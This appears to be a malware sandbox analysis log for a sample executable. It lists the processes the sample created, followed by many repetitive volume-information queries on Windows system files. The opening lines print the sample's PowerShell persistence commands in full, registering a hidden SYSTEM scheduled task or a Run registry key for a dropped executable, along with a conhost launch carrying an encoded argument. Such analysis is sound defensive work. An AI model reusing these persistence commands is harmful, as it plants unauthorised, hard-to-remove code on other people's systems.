Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ubqexh#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'gqfenpel' /tr '''c:\program files\xjfgcnhmcvxy.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\xjfgcnhmcvxy.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'gqfenpel' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "gqfenpel" /t reg_sz /f /d 'c:\program files\xjfgcnhmcvxy.exe' }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ydxtfs#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "gqfenpel" } else { "c:\program files\xjfgcnhmcvxy.exe" }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ubqexh#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'gqfenpel' /tr '''c:\program files\xjfgcnhmcvxy.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\xjfgcnhmcvxy.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'gqfenpel' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "gqfenpel" /t reg_sz /f /d 'c:\program files\xjfgcnhmcvxy.exe' }
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\conhost.exe c:\windows\system32\conhost.exe gzssianthtxzdggz 6e3sjfzq2rjqaxvlpmxgsbl6xjjyguhwtopz+stidvug8rp3hiani4twfqfj5pfoq4c5/lir+wrkx/39lfbfrygva5xlelaqrgfeyi/1+l+sm6d1wy+jp8lq+gyinbztrryf27jkgwvg8+gc8zt/+qw/fqr21gxgsiwp5m1/pauo8b8l/yfa9vhqoomqzu9osozwr+lvwcnvu0s6ajo3l3pa+io3tz+kihzg9ojdykmrt9fpolvpg3f2e+s/d4wyanegatbaw9u+h7yssqw4ula2rdrqlsnvaothgqq4oku9/7wett4gwdlfycjqzkf6crpghcu2z2x/1lqnga0z/ogm3rqz3kfmh6ai6u72mx/roo9xz5ogo8pi2amp1z57ebcyybxyigt0rcg540iwnf53krdw5r+qu9tx7dnabrunucbtjtyaoerrfhhdh0mzc3ohhwbzk+xxdfenj5lezfn80ibspckauwku/nc8n5n3862tfczov3+5pg7wnvaca9eswjk6iy7aneprfn9hjzrpurrt3atk7ngnmwc4gmu=
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ubqexh#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'gqfenpel' /tr '''c:\program files\xjfgcnhmcvxy.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\xjfgcnhmcvxy.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'gqfenpel' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "gqfenpel" /t reg_sz /f /d 'c:\program files\xjfgcnhmcvxy.exe' }	Jump to behavior
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ydxtfs#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "gqfenpel" } else { "c:\program files\xjfgcnhmcvxy.exe" }	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ubqexh#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'gqfenpel' /tr '''c:\program files\xjfgcnhmcvxy.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\xjfgcnhmcvxy.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'gqfenpel' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "gqfenpel" /t reg_sz /f /d 'c:\program files\xjfgcnhmcvxy.exe' }	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\conhost.exe c:\windows\system32\conhost.exe gzssianthtxzdggz 6e3sjfzq2rjqaxvlpmxgsbl6xjjyguhwtopz+stidvug8rp3hiani4twfqfj5pfoq4c5/lir+wrkx/39lfbfrygva5xlelaqrgfeyi/1+l+sm6d1wy+jp8lq+gyinbztrryf27jkgwvg8+gc8zt/+qw/fqr21gxgsiwp5m1/pauo8b8l/yfa9vhqoomqzu9osozwr+lvwcnvu0s6ajo3l3pa+io3tz+kihzg9ojdykmrt9fpolvpg3f2e+s/d4wyanegatbaw9u+h7yssqw4ula2rdrqlsnvaothgqq4oku9/7wett4gwdlfycjqzkf6crpghcu2z2x/1lqnga0z/ogm3rqz3kfmh6ai6u72mx/roo9xz5ogo8pi2amp1z57ebcyybxyigt0rcg540iwnf53krdw5r+qu9tx7dnabrunucbtjtyaoerrfhhdh0mzc3ohhwbzk+xxdfenj5lezfn80ibspckauwku/nc8n5n3862tfczov3+5pg7wnvaca9eswjk6iy7aneprfn9hjzrpurrt3atk7ngnmwc4gmu=	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
